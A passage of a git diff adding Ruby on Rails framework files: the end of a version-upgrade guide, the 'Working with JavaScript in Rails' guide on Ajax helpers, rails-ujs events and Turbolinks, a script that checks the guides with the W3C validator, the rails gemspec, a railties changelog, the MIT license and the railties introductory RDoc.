+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+
+# Log the query plan for queries taking more than this (works
+# with SQLite, MySQL, and PostgreSQL)
+config.active_record.auto_explain_threshold_in_seconds = 0.5
+```
+
+### config/environments/test.rb
+
+The `mass_assignment_sanitizer` configuration setting should also be added to `config/environments/test.rb`:
+
+```ruby
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+```
+
+### vendor/plugins
+
+Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+### Active Record
+
+Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks.
+
+Upgrading from Rails 3.0 to Rails 3.1
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
+
+The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.
+
+### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '3.1.12'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   '~> 3.1.7'
+  gem 'coffee-rails', '~> 3.1.1'
+  gem 'uglifier',     '>= 1.0.3'
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+### config/application.rb
+
+The asset pipeline requires the following additions:
+
+```ruby
+config.assets.enabled = true
+config.assets.version = '1.0'
+```
+
+If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+```ruby
+# Defaults to '/assets'
+config.assets.prefix = '/asset-files'
+```
+
+### config/environments/development.rb
+
+Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+Add these settings if you enable the asset pipeline:
+
+```ruby
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+```
+
+### config/environments/production.rb
+
+Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+```ruby
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs
+config.assets.digest = true
+
+# Defaults to Rails.root.join("public/assets")
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( admin.js admin.css )
+
+# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+# config.force_ssl = true
+```
+
+### config/environments/test.rb
+
+You can help test performance with these additions to your test environment:
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.public_file_server.enabled = true
+config.public_file_server.headers = {
+  'Cache-Control' => 'public, max-age=3600'
+}
+```
+
+### config/initializers/wrap_parameters.rb
+
+Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+```ruby
+# Be sure to restart your server when you modify this file.
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+  wrap_parameters format: [:json]
+end
+
+# Disable root element in JSON by default.
+ActiveSupport.on_load(:active_record) do
+  self.include_root_in_json = false
+end
+```
+
+### config/initializers/session_store.rb
+
+You need to change your session key to something new, or remove all sessions:
+
+```ruby
+# in config/initializers/session_store.rb
+AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'
+```
+
+or
+
+```bash
+$ bin/rake db:sessions:clear
+```
+
+### Remove :cache and :concat options in asset helpers references in views
+
+* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
new file mode 100644
index 0000000000..ed27752a06
--- /dev/null
+++ b/guides/source/working_with_javascript_in_rails.md
@@ -0,0 +1,550 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Working with JavaScript in Rails
+================================
+
+This guide covers the built-in Ajax/JavaScript functionality of Rails (and
+more); it will enable you to create rich and dynamic Ajax applications with
+ease!
+
+After reading this guide, you will know:
+
+* The basics of Ajax.
+* Unobtrusive JavaScript.
+* How Rails' built-in helpers assist you.
+* How to handle Ajax on the server side.
+* The Turbolinks gem.
+
+-------------------------------------------------------------------------------
+
+An Introduction to Ajax
+------------------------
+
+In order to understand Ajax, you must first understand what a web browser does
+normally.
+
+When you type `http://localhost:3000` into your browser's address bar and hit
+'Go,' the browser (your 'client') makes a request to the server. It parses the
+response, then fetches all associated assets, like JavaScript files,
+stylesheets and images. It then assembles the page. If you click a link, it
+does the same process: fetch the page, fetch the assets, put it all together,
+show you the results. This is called the 'request response cycle.'
+
+JavaScript can also make requests to the server, and parse the response. It
+also has the ability to update information on the page. Combining these two
+powers, a JavaScript writer can make a web page that can update just parts of
+itself, without needing to get the full page data from the server. This is a
+powerful technique that we call Ajax.
+
+Rails ships with CoffeeScript by default, and so the rest of the examples
+in this guide will be in CoffeeScript. All of these lessons, of course, apply
+to vanilla JavaScript as well.
+
+As an example, here's some CoffeeScript code that makes an Ajax request using
+the jQuery library:
+
+```coffeescript
+$.ajax(url: "/test").done (html) ->
+  $("#results").append html
+```
+
+This code fetches data from "/test", and then appends the result to the `div`
+with an id of `results`.
+
+Rails provides quite a bit of built-in support for building web pages with this
+technique. You rarely have to write this code yourself. The rest of this guide
+will show you how Rails can help you write websites in this way, but it's
+all built on top of this fairly simple technique.
+
+Unobtrusive JavaScript
+-------------------------------------
+
+Rails uses a technique called "Unobtrusive JavaScript" to handle attaching
+JavaScript to the DOM. This is generally considered to be a best-practice
+within the frontend community, but you may occasionally read tutorials that
+demonstrate other ways.
+
+Here's the simplest way to write JavaScript. You may see it referred to as
+'inline JavaScript':
+
+```html
+<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
+```
+When clicked, the link background will become red. Here's the problem: what
+happens when we have lots of JavaScript we want to execute on a click?
+
+```html
+<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
+```
+
+Awkward, right? We could pull the function definition out of the click handler,
+and turn it into CoffeeScript:
+
+```coffeescript
+@paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+```
+
+And then on our page:
+
+```html
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+```
+
+That's a little bit better, but what about multiple links that have the same
+effect?
+
+```html
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
+<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
+```
+
+Not very DRY, eh? We can fix this by using events instead. We'll add a `data-*`
+attribute to our link, and then bind a handler to the click event of every link
+that has that attribute:
+
+```coffeescript
+@paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+
+$ ->
+  $("a[data-background-color]").click (e) ->
+    e.preventDefault()
+
+    backgroundColor = $(this).data("background-color")
+    textColor = $(this).data("text-color")
+    paintIt(this, backgroundColor, textColor)
+```
+```html
+<a href="#" data-background-color="#990000">Paint it red</a>
+<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
+<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
+```
+
+We call this 'unobtrusive' JavaScript because we're no longer mixing our
+JavaScript into our HTML. We've properly separated our concerns, making future
+change easy. We can easily add behavior to any link by adding the data
+attribute. We can run all of our JavaScript through a minimizer and
+concatenator. We can serve our entire JavaScript bundle on every page, which
+means that it'll get downloaded on the first page load and then be cached on
+every page after that. Lots of little benefits really add up.
+
+The Rails team strongly encourages you to write your CoffeeScript (and
+JavaScript) in this style, and you can expect that many libraries will also
+follow this pattern.
+
+Built-in Helpers
+----------------------
+
+### Remote elements
+
+Rails provides a bunch of view helper methods written in Ruby to assist you
+in generating HTML. Sometimes, you want to add a little Ajax to those elements,
+and Rails has got your back in those cases.
+
+Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two
+parts: the JavaScript half and the Ruby half.
+
+Unless you have disabled the Asset Pipeline,
+[rails-ujs](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts/rails-ujs.coffee)
+provides the JavaScript half, and the regular Ruby view helpers add appropriate
+tags to your DOM.
+
+You can read below about the different events that are fired dealing with
+remote elements inside your application.
+
+#### form_with
+
+[`form_with`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with)
+is a helper that assists with writing forms. By default, `form_with` assumes that
+your form will be using Ajax. You can opt out of this behavior by
+passing the `:local` option `form_with`.
+
+```erb
+<%= form_with(model: @article) do |f| %>
+  ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form action="/articles" method="post" data-remote="true">
+  ...
+</form>
+```
+
+Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather
+than by the browser's normal submit mechanism.
+
+You probably don't want to just sit there with a filled out `<form>`, though.
+You probably want to do something upon a successful submission. To do that,
+bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
+
+```coffeescript
+$(document).ready ->
+  $("#new_article").on("ajax:success", (e, data, status, xhr) ->
+    $("#new_article").append xhr.responseText
+  ).on "ajax:error", (e, xhr, status, error) ->
+    $("#new_article").append "<p>ERROR</p>"
+```
+
+Obviously, you'll want to be a bit more sophisticated than that, but it's a
+start.
+
+#### link_to
+
+[`link_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
+is a helper that assists with generating links. It has a `:remote` option you
+can use like this:
+
+```erb
+<%= link_to "an article", @article, remote: true %>
+```
+
+which generates
+
+```html
+<a href="/articles/1" data-remote="true">an article</a>
+```
+
+You can bind to the same Ajax events as `form_with`. Here's an example. Let's
+assume that we have a list of articles that can be deleted with just one
+click. We would generate some HTML like this:
+
+```erb
+<%= link_to "Delete article", @article, remote: true, method: :delete %>
+```
+
+and write some CoffeeScript like this:
+
+```coffeescript
+$ ->
+  $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+    alert "The article was deleted."
+```
+
+#### button_to
+
+[`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this:
+
+```erb
+<%= button_to "An article", @article, remote: true %>
+```
+
+this generates
+
+```html
+<form action="/articles/1" class="button_to" data-remote="true" method="post">
+  <input type="submit" value="An article" />
+</form>
+```
+
+Since it's just a `<form>`, all of the information on `form_with` also applies.
+
+### Customize remote elements
+
+It is possible to customize the behavior of elements with a `data-remote`
+attribute without writing a line of JavaScript. You can specify extra `data-`
+attributes to accomplish this.
+
+#### `data-method`
+
+Activating hyperlinks always results in an HTTP GET request. However, if your
+application is [RESTful](http://en.wikipedia.org/wiki/Representational_State_Transfer),
+some links are in fact actions that change data on the server, and must be
+performed with non-GET requests. This attribute allows marking up such links
+with an explicit method such as "post", "put" or "delete".
+
+The way it works is that, when the link is activated, it constructs a hidden form
+in the document with the "action" attribute corresponding to "href" value of the
+link, and the method corresponding to `data-method` value, and submits that form.
+
+NOTE: Because submitting forms with HTTP methods other than GET and POST isn't
+widely supported across browsers, all other HTTP methods are actually sent over
+POST with the intended method indicated in the `_method` parameter. Rails
+automatically detects and compensates for this.
+
+#### `data-url` and `data-params`
+
+Certain elements of your page aren't actually referring to any URL, but you may want
+them to trigger Ajax calls. Specifying the `data-url` attribute along with
+the `data-remote` one will trigger an Ajax call to the given URL. You can also
+specify extra parameters through the `data-params` attribute.
+
+This can be useful to trigger an action on check-boxes for instance:
+
+```html
+<input type="checkbox" data-remote="true"
+    data-url="/update" data-params="id=10" data-method="put">
+```
+
+#### `data-type`
+
+It is also possible to define the Ajax `dataType` explicitly while performing
+requests for `data-remote` elements, by way of the `data-type` attribute.
+
+### Confirmations
+
+You can ask for an extra confirmation of the user by adding a `data-confirm`
+attribute on links and forms. The user will be presented a JavaScript `confirm()`
+dialog containing the attribute's text. If the user chooses to cancel, the action
+doesn't take place.
+
+Adding this attribute on links will trigger the dialog on click, and adding it
+on forms will trigger it on submit. For example:
+
+```erb
+<%= link_to "Dangerous zone", dangerous_zone_path,
+  data: { confirm: 'Are you sure?' } %>
+```
+
+This generates:
+
+```html
+<a href="..." data-confirm="Are you sure?">Dangerous zone</a>
+```
+
+The attribute is also allowed on form submit buttons. This allows you to customize
+the warning message depending on the button which was activated. In this case,
+you should **not** have `data-confirm` on the form itself.
+
+The default confirmation uses a JavaScript confirm dialog, but you can customize
+this by listening to the `confirm` event, which is fired just before the confirmation
+window appears to the user. To cancel this default confirmation, have the confirm
+handler to return `false`.
+
+### Automatic disabling
+
+It is also possible to automatically disable an input while the form is submitting
+by using the `data-disable-with` attribute. This is to prevent accidental
+double-clicks from the user, which could result in duplicate HTTP requests that
+the backend may not detect as such. The value of the attribute is the text that will
+become the new value of the button in its disabled state.
+
+This also works for links with `data-method` attribute.
+
+For example:
+
+```erb
+<%= form_with(model: @article.new) do |f| %>
+  <%= f.submit data: { "disable-with": "Saving..." } %>
+<%= end %>
+```
+
+This generates a form with:
+
+```html
+<input data-disable-with="Saving..." type="submit">
+```
+
+Dealing with Ajax events
+------------------------
+
+Here are the different events that are fired when you deal with elements
+that have a `data-remote` attribute:
+
+NOTE: All handlers bound to these events are always passed the event object as the
+first argument. The table below describes the extra parameters passed after the
+event argument. For example, if the extra parameters are listed as `xhr, settings`,
+then to access them, you would define your handler with `function(event, xhr, settings)`.
+
+| Event name          | Extra parameters | Fired                                                       |
+|---------------------|------------------|-------------------------------------------------------------|
+| `ajax:before`       |                  | Before the whole ajax business, aborts if stopped.          |
+| `ajax:beforeSend`   | xhr, options     | Before the request is sent, aborts if stopped.              |
+| `ajax:send`         | xhr              | When the request is sent.                                   |
+| `ajax:success`      | xhr, status, err | After completion, if the response was a success.            |
+| `ajax:error`        | xhr, status, err | After completion, if the response was an error.             |
+| `ajax:complete`     | xhr, status      | After the request has been completed, no matter the outcome.|
+| `ajax:aborted:file` | elements         | If there are non-blank file inputs, aborts if stopped.      |
+
+### Stoppable events
+
+If you stop `ajax:before` or `ajax:beforeSend` by returning false from the
+handler method, the Ajax request will never take place. The `ajax:before` event
+is also useful for manipulating form data before serialization. The
+`ajax:beforeSend` event is also useful for adding custom request headers.
+
+If you stop the `ajax:aborted:file` event, the default behavior of allowing the
+browser to submit the form via normal means (i.e. non-AJAX submission) will be
+canceled and the form will not be submitted at all. This is useful for
+implementing your own AJAX file upload workaround.
+
+### Rails-ujs event handlers
+
+Rails 5.1 introduced rails-ujs and dropped jQuery as a dependency.
+As a result the Unobtrusive JavaScript (UJS) driver has been rewritten to operate without jQuery.
+These introductions cause small changes to `custom events` fired during the request:
+
+NOTE: Signature of calls to UJS’s event handlers has changed.
+Unlike the version with jQuery, all custom events return only one parameter: `event`.
+In this parameter, there is an additional attribute `detail` which contains an array of extra parameters.
+
+| Event name          | Extra parameters (event.detail) | Fired                                                       |
+|---------------------|---------------------------------|-------------------------------------------------------------|
+| `ajax:before`       |                                 | Before the whole ajax business.                             |
+| `ajax:beforeSend`   | [xhr, options]                  | Before the request is sent.                                 |
+| `ajax:send`         | [xhr]                           | When the request is sent.                                   |
+| `ajax:stopped`      |                                 | When the request is stopped.                                |
+| `ajax:success`      | [response, status, xhr]         | After completion, if the response was a success.            |
+| `ajax:error`        | [response, status, xhr]         | After completion, if the response was an error.             |
+| `ajax:complete`     | [xhr, status]                   | After the request has been completed, no matter the outcome.|
+
+Example usage:
+
+```html
+document.body.addEventListener('ajax:success', function(event) {
+  var detail = event.detail;
+  var data = detail[0], status = detail[1],  xhr = detail[2];
+})
+```
+
+Server-Side Concerns
+--------------------
+
+Ajax isn't just client-side, you also need to do some work on the server
+side to support it. Often, people like their Ajax requests to return JSON
+rather than HTML. Let's discuss what it takes to make that happen.
+
+### A Simple Example
+
+Imagine you have a series of users that you would like to display and provide a
+form on that same page to create a new user. The index action of your
+controller looks like this:
+
+```ruby
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    @user = User.new
+  end
+  # ...
+```
+
+The index view (`app/views/users/index.html.erb`) contains:
+
+```erb
+<b>Users</b>
+
+<ul id="users">
+<%= render @users %>
+</ul>
+
+<br>
+
+<%= form_with(model: @user) do |f| %>
+  <%= f.label :name %><br>
+  <%= f.text_field :name %>
+  <%= f.submit %>
+<% end %>
+```
+
+The `app/views/users/_user.html.erb` partial contains the following:
+
+```erb
+<li><%= user.name %></li>
+```
+
+The top portion of the index page displays the users. The bottom portion
+provides a form to create a new user.
+
+The bottom form will call the `create` action on the `UsersController`. Because
+the form's remote option is set to true, the request will be posted to the
+`UsersController` as an Ajax request, looking for JavaScript. In order to
+serve that request, the `create` action of your controller would look like
+this:
+
+```ruby
+  # app/controllers/users_controller.rb
+  # ......
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        format.html { redirect_to @user, notice: 'User was successfully created.' }
+        format.js
+        format.json { render json: @user, status: :created, location: @user }
+      else
+        format.html { render action: "new" }
+        format.json { render json: @user.errors, status: :unprocessable_entity }
+      end
+    end
+  end
+```
+
+Notice the `format.js` in the `respond_to` block: that allows the controller to
+respond to your Ajax request. You then have a corresponding
+`app/views/users/create.js.erb` view file that generates the actual JavaScript
+code that will be sent and executed on the client side.
+
+```erb
+$("<%= escape_javascript(render @user) %>").appendTo("#users");
+```
+
+Turbolinks
+----------
+
+Rails ships with the [Turbolinks library](https://github.com/turbolinks/turbolinks),
+which uses Ajax to speed up page rendering in most applications.
+
+### How Turbolinks Works
+
+Turbolinks attaches a click handler to all `<a>` tags on the page. If your browser
+supports
+[PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState%28%29_method),
+Turbolinks will make an Ajax request for the page, parse the response, and
+replace the entire `<body>` of the page with the `<body>` of the response. It
+will then use PushState to change the URL to the correct one, preserving
+refresh semantics and giving you pretty URLs.
+
+The only thing you have to do to enable Turbolinks is have it in your Gemfile,
+and put `//= require turbolinks` in your JavaScript manifest, which is usually
+`app/assets/javascripts/application.js`.
+
+If you want to disable Turbolinks for certain links, add a `data-turbolinks="false"`
+attribute to the tag:
+
+```html
+<a href="..." data-turbolinks="false">No turbolinks here</a>.
+```
+
+### Page Change Events
+
+When writing CoffeeScript, you'll often want to do some sort of processing upon
+page load. With jQuery, you'd write something like this:
+
+```coffeescript
+$(document).ready ->
+  alert "page has loaded!"
+```
+
+However, because Turbolinks overrides the normal page loading process, the
+event that this relies upon will not be fired. If you have code that looks like
+this, you must change your code to do this instead:
+
+```coffeescript
+$(document).on "turbolinks:load", ->
+  alert "page has loaded!"
+```
+
+For more details, including other events you can bind to, check out [the
+Turbolinks
+README](https://github.com/turbolinks/turbolinks/blob/master/README.md).
+
+Other Resources
+---------------
+
+Here are some helpful links to help you learn even more:
+
+* [jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki)
+* [jquery-ujs list of external articles](https://github.com/rails/jquery-ujs/wiki/External-articles)
+* [Rails 3 Remote Links and Forms: A Definitive Guide](http://www.alfajango.com/blog/rails-3-remote-links-and-forms/)
+* [Railscasts: Unobtrusive JavaScript](http://railscasts.com/episodes/205-unobtrusive-javascript)
+* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks)
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
new file mode 100644
index 0000000000..4671e040ca
--- /dev/null
+++ b/guides/w3c_validator.rb
@@ -0,0 +1,96 @@
+# ---------------------------------------------------------------------------
+#
+# This script validates the generated guides against the W3C Validator.
+#
+# Guides are taken from the output directory, from where all .html files are
+# submitted to the validator.
+#
+# This script is prepared to be launched from the guides directory as a rake task:
+#
+# rake guides:validate
+#
+# If nothing is specified, all files will be validated, but you can check just
+# some of them using this environment variable:
+#
+#   ONLY
+#     Use ONLY if you want to validate only one or a set of guides. Prefixes are
+#     enough:
+#
+#       # validates only association_basics.html
+#       rake guides:validate ONLY=assoc
+#
+#     Separate many using commas:
+#
+#       # validates only association_basics.html and command_line.html
+#       rake guides:validate ONLY=assoc,command
+#
+# ---------------------------------------------------------------------------
+
+require "w3c_validators"
+include W3CValidators
+
+module RailsGuides
+  class Validator
+    def validate
+      # https://github.com/w3c-validators/w3c_validators/issues/25
+      validator = NuValidator.new
+      STDOUT.sync = true
+      errors_on_guides = {}
+
+      guides_to_validate.each do |f|
+        begin
+          results = validator.validate_file(f)
+        rescue Exception => e
+          puts "\nCould not validate #{f} because of #{e}"
+          next
+        end
+
+        if results.errors.length > 0
+          print "E"
+          errors_on_guides[f] = results.errors
+        else
+          print "."
+        end
+      end
+
+      show_results(errors_on_guides)
+    end
+
+    private
+      def guides_to_validate
+        guides = Dir["./output/*.html"]
+        guides.delete("./output/layout.html")
+        guides.delete("./output/_license.html")
+        guides.delete("./output/_welcome.html")
+        ENV.key?("ONLY") ? select_only(guides) : guides
+      end
+
+      def select_only(guides)
+        prefixes = ENV["ONLY"].split(",").map(&:strip)
+        guides.select do |guide|
+          prefixes.any? { |p| guide.start_with?("./output/#{p}") }
+        end
+      end
+
+      def show_results(error_list)
+        if error_list.size == 0
+          puts "\n\nAll checked guides validate OK!"
+        else
+          error_summary = error_detail = ""
+
+          error_list.each_pair do |name, errors|
+            error_summary += "\n  #{name}"
+            error_detail += "\n\n  #{name} has #{errors.size} validation error(s):\n"
+            errors.each do |error|
+              error_detail += "\n    " + error.to_s.delete("\n")
+            end
+          end
+
+          puts "\n\nThere are #{error_list.size} guides with validation errors:\n" + error_summary
+          puts "\nHere are the detailed errors for each guide:" + error_detail
+        end
+      end
+  end
+end
+
+RailsGuides::Validator.new.validate
diff --git a/rails.gemspec b/rails.gemspec
new file mode 100644
index 0000000000..1dbd86d2fb
--- /dev/null
+++ b/rails.gemspec
@@ -0,0 +1,33 @@
+version = File.read(File.expand_path("RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "rails"
+  s.version     = version
+  s.summary     = "Full-stack web application framework."
+  s.description = "Ruby on Rails is a full-stack web framework optimized for programmer happiness and sustainable productivity. It encourages beautiful code by favoring convention over configuration."
+
+  s.required_ruby_version     = ">= 2.2.2"
+  s.required_rubygems_version = ">= 1.8.11"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files = ["README.md"]
+
+  s.add_dependency "activesupport", version
+  s.add_dependency "actionpack",    version
+  s.add_dependency "actionview",    version
+  s.add_dependency "activemodel",   version
+  s.add_dependency "activerecord",  version
+  s.add_dependency "actionmailer",  version
+  s.add_dependency "activejob",     version
+  s.add_dependency "actioncable",   version
+  s.add_dependency "railties",      version
+
+  s.add_dependency "bundler",         ">= 1.3.0"
+  s.add_dependency "sprockets-rails", ">= 2.0.0"
+end
diff --git a/railties/.gitignore b/railties/.gitignore
new file mode 100644
index 0000000000..80dd262d2f
--- /dev/null
+++ b/railties/.gitignore
@@ -0,0 +1 @@
+log/
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
new file mode 100644
index 0000000000..ec41d17a9f
--- /dev/null
+++ b/railties/CHANGELOG.md
@@ -0,0 +1,101 @@
+*   Add `ruby x.x.x` version to `Gemfile` and create `.ruby-version`
+    root file containing current Ruby version when new Rails applications are
+    created.
+
+    *Alberto Almagro*
+
+*   Support `-` as a platform-agnostic way to run a script from stdin with
+    `rails runner`
+
+    *Cody Cutrer*
+
+*   Add `bootsnap` to default `Gemfile`.
+
+    *Burke Libbey*
+
+*   Properly expand shortcuts for environment's name running the `console`
+    and `dbconsole` commands.
+
+    *Robin Dupret*
+
+*   Passing the environment's name as a regular argument to the
+    `rails dbconsole` and `rails console` commands is deprecated.
+    The `-e` option should be used instead.
+
+    Previously:
+
+        $ bin/rails dbconsole production
+
+    Now:
+
+        $ bin/rails dbconsole -e production
+
+    *Robin Dupret*, *Kasper Timm Hansen*
+
+*   Allow to pass a custom connection name to the `rails dbconsole`
+    command when using a 3-level database configuration.
+
+        $ bin/rails dbconsole -c replica
+
+    *Robin Dupret*, *Jeremy Daer*
+
+*   Skip unused components when running `bin/rails app:update`.
+
+    If the initial app generation skipped Action Cable, Active Record etc.,
+    the update task honors those skips too.
+
+    *Yuji Yaginuma*
+
+*   Make Rails' test runner work better with minitest plugins.
+
+    By demoting the Rails test runner to just another minitest plugin —
+    and thereby not eager loading it — we can co-exist much better with
+    other minitest plugins such as pride and minitest-focus.
+
+    *Kasper Timm Hansen*
+
+*   Load environment file in `dbconsole` command.
+
+    Fixes #29717
+
+    *Yuji Yaginuma*
+
+*   Add `rails secrets:show` command.
+
+    *Yuji Yaginuma*
+
+*   Allow mounting the same engine several times in different locations.
+
+    Fixes #20204.
+
+    *David Rodríguez*
+
+*   Clear screenshot files in `tmp:clear` task.
+
+    *Yuji Yaginuma*
+
+*   Add `railtie.rb` to the plugin generator
+
+    *Tsukuru Tanimichi*
+
+*   Deprecate `capify!` method in generators and templates.
+
+    *Yuji Yaginuma*
+
+*   Allow irb options to be passed from `rails console` command.
+
+    Fixes #28988.
+
+    *Yuji Yaginuma*
+
+*   Added a shared section to `config/database.yml` that will be loaded for all environments.
+
+    *Pierre Schambacher*
+
+*   Namespace error pages' CSS selectors to stop the styles from bleeding into other pages
+    when using Turbolinks.
+
+    *Jan Krutisch*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
new file mode 100644
index 0000000000..f9e4444f07
--- /dev/null
+++ b/railties/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2004-2017 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/railties/RDOC_MAIN.rdoc b/railties/RDOC_MAIN.rdoc
new file mode 100644
index 0000000000..654c7bae57
--- /dev/null
+++ b/railties/RDOC_MAIN.rdoc
@@ -0,0 +1,73 @@
+== Welcome to \Rails
+
+\Rails is a web-application framework that includes everything needed to create
+database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model-view-controller] pattern.
+
+Understanding the MVC pattern is key to understanding \Rails. MVC divides your application
+into three layers, each with a specific responsibility.
+
+The View layer is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates
+can come in a variety of formats, but most view templates are \HTML with embedded Ruby
+code (.erb files).
+
+The Model layer represents your domain model (such as Account, Product, Person, Post)
+and encapsulates the business logic that is specific to your application. In \Rails,
+database-backed model classes are derived from ActiveRecord::Base. Active Record allows
+you to present the data from database rows as objects and embellish these data objects
+with business logic methods. Although most \Rails models are backed by a database, models
+can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as
+provided by the ActiveModel module. You can read more about Active Record in its
+{README}[link:files/activerecord/README_rdoc.html].
+
+The Controller layer is responsible for handling incoming HTTP requests and providing a
+suitable response. Usually this means returning \HTML, but \Rails controllers can also
+generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models
+and render view templates in order to generate the appropriate HTTP response.
+
+In \Rails, the Controller and View layers are handled together by Action Pack.
+These two layers are bundled in a single package due to their heavy interdependence.
+This is unlike the relationship between Active Record and Action Pack, which are
+independent. Each of these packages can be used independently outside of \Rails. You
+can read more about Action Pack in its {README}[link:files/actionpack/README_rdoc.html].
+
+== Getting Started
+
+1. Install \Rails at the command prompt if you haven't yet:
+
+    $ gem install rails
+
+2. At the command prompt, create a new \Rails application:
+
+    $ rails new myapp
+
+   where "myapp" is the application name.
+
+3. Change directory to +myapp+ and start the web server:
+
+    $ cd myapp; rails server
+
+   Run with <tt>--help</tt> or <tt>-h</tt> for options.
+
+4. Go to http://localhost:3000 and you'll see:
+
+    "Yay! You’re on Rails!"
+
+5. Follow the guidelines to start developing your application. You may find the following resources handy:
+
+* The \README file created within your application.
+* {Getting Started with \Rails}[http://guides.rubyonrails.org/getting_started.html].
+* {Ruby on \Rails Tutorial}[https://www.railstutorial.org/book].
+* {Ruby on \Rails Guides}[http://guides.rubyonrails.org].
+* {The API Documentation}[http://api.rubyonrails.org].
+
+== Contributing
+
